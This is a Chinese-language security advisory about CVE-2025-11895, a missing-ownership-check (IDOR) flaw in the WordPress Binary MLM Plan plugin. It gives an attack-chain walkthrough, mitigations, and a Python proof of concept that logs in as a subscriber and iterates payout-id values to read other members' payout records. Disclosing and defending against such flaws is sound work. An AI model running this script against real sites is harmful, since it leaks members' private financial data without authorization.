IPBUF安全漏洞报告
English
CVE-2025-11895 CVSS 4.3 中危

CVE-2025-11895:WordPress Binary MLM Plan插件IDOR漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-11895
漏洞类型
不安全的直接对象引用(IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Binary MLM Plan插件

相关标签

IDOR不安全的直接对象引用WordPress插件漏洞Binary MLM Plan权限绕过信息泄露认证访问控制中危漏洞CVSS 4.3

漏洞概述

CVE-2025-11895是WordPress平台上一款名为Binary MLM Plan(二元多层次营销计划)插件中存在的不安全直接对象引用(IDOR)漏洞。该漏洞由Wordfence安全团队的研究员发现,并于2025年10月17日正式披露。该插件主要用于构建基于二元制的多层次营销(MLM)会员系统,允许管理员管理会员的分销网络和佣金结算。漏洞存在于插件的bmp_user_payout_detail_of_current_user()函数中,该函数在查询用户佣金支付详情时,仅根据传入的payout-id参数从数据库中检索记录,而未对当前请求用户的身份进行权限验证。这意味着任何拥有bmp_user角色(通常是订阅者Subscriber级别)的已认证用户,都可以通过向/bmp-account-detail/端点发送带有精心构造的payout-id参数的请求,访问并查看其他会员的佣金支付汇总信息。CVSS 3.1评分为4.3分,属于中危级别。该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N),对机密性产生低影响(C:L),不影响完整性和可用性。尽管该漏洞的危害程度相对有限,但在大规模MLM平台中,可能导致大量会员的财务隐私信息泄露,对用户信任和平台声誉造成负面影响。

技术细节

该漏洞的核心问题在于bmp_user_payout_detail_of_current_user()函数缺乏对资源所有权的验证机制。具体技术原理如下:

1. **漏洞函数位置**:漏洞代码位于binary-mlm-plan插件的includes/bmp-hook-functions.php文件的第833行附近的bmp_user_payout_detail_of_current_user()函数中。

2. **查询逻辑缺陷**:该函数在处理佣金支付详情查询请求时,直接从用户请求中获取payout-id参数,并使用该参数作为数据库查询条件(如WHERE id = $payout_id),而未将当前登录用户的ID作为额外的过滤条件(如AND user_id = $current_user_id)。

3. **权限校验缺失**:函数名称虽然包含current_user字样暗示应该进行用户身份验证,但实际上并未执行任何身份所有权检查,导致任何已认证用户都可以通过修改payout-id参数来查询任意支付记录的详情。

4. **利用方式**:攻击者首先需要拥有一个具有bmp_user角色的WordPress账户(通常是订阅者级别)。然后,攻击者访问包含[bmp-account-detail]短代码的页面,通过修改请求中的payout-id参数值(如从1递增到其他数值),即可遍历并获取系统中其他会员的佣金支付摘要信息。

5. **数据泄露范围**:泄露的信息包括其他会员的支付金额、支付时间、支付状态等敏感财务数据,虽然不涉及完整银行卡信息或密码,但已构成用户隐私泄露。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者注册或获取一个具有bmp_user角色(通常是WordPress订阅者Subscriber级别)的账户。在某些配置不当的MLM站点中,注册流程可能是开放的,允许任何人创建账户。
STEP 2
步骤2:登录并访问目标页面
攻击者使用获得的凭证登录WordPress站点,并访问包含[bmp-account-detail]短代码的页面(如/bmp-account-detail/端点),该页面会触发bmp_user_payout_detail_of_current_user()函数执行。
STEP 3
步骤3:构造IDOR利用请求
攻击者通过修改请求中的payout-id参数值,将其替换为其他会员的支付记录ID。由于函数未验证当前用户是否为该支付记录的所有者,系统将返回目标支付记录的详情数据。
STEP 4
步骤4:批量枚举泄露数据
攻击者可以通过遍历payout-id参数值(从1开始递增),批量获取系统中所有会员的佣金支付摘要信息,包括支付金额、时间、状态等敏感财务数据。
STEP 5
步骤5:数据收集与利用
攻击者将收集到的会员财务信息进行整理,可用于进一步的社会工程学攻击、精准诈骗,或者将数据出售给第三方,对受害用户的隐私和财产安全构成威胁。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11895 PoC - Binary MLM Plan Plugin IDOR Exploit # Vulnerability: Insecure Direct Object Reference in bmp_user_payout_detail_of_current_user() # Affected: Binary MLM Plan Plugin <= 5.0 import requests # Target configuration TARGET_URL = "https://target-wordpress-site.com" USERNAME = "subscriber_user" # Account with bmp_user role PASSWORD = "password123" # Step 1: Authenticate to WordPress to obtain session cookie session = requests.Session() login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Access the page containing the [bmp-account-detail] shortcode # The shortcode renders the payout detail page accessible at /bmp-account-detail/ account_page = session.get(f"{TARGET_URL}/bmp-account-detail/") # Step 3: Exploit IDOR by manipulating payout-id parameter # Iterate through payout IDs to enumerate other users' payout details for payout_id in range(1, 100): # Craft request with manipulated payout-id parameter exploit_url = f"{TARGET_URL}/bmp-account-detail/?payout-id={payout_id}" response = session.get(exploit_url) # Check if the response contains payout information if "payout" in response.text.lower() and response.status_code == 200: print(f"[+] Found payout record ID {payout_id}:") # Extract sensitive information from the response # The response typically contains user payout summary data print(response.text) print("-" * 80) # Alternative: Direct parameter manipulation via AJAX/REST endpoint # Some implementations may expose the function via WordPress AJAX handler ajax_data = { "action": "bmp_user_payout_detail_of_current_user", "payout_id": 1 # Change to target other users' payout IDs } response = session.post(f"{TARGET_URL}/wp-admin/admin-ajax.php", data=ajax_data) print(f"AJAX Response: {response.text}")

影响范围

Binary MLM Plan Plugin <= 5.0

防御指南

临时缓解措施
在官方安全补丁发布之前,建议管理员采取以下临时缓解措施:1)限制bmp_user角色的注册,关闭开放注册功能或对新注册账户进行人工审核;2)通过WordPress安全插件(如Wordfence)配置WAF规则,监控和拦截对/bmp-account-detail/端点的异常参数请求;3)在.htaccess或Nginx配置中添加访问限制,仅允许特定IP地址访问相关端点;4)暂时禁用Binary MLM Plan插件的佣金详情查看功能;5)审查现有用户账户,移除可疑的订阅者账户;6)监控服务器日志,查找异常的payout-id参数访问记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表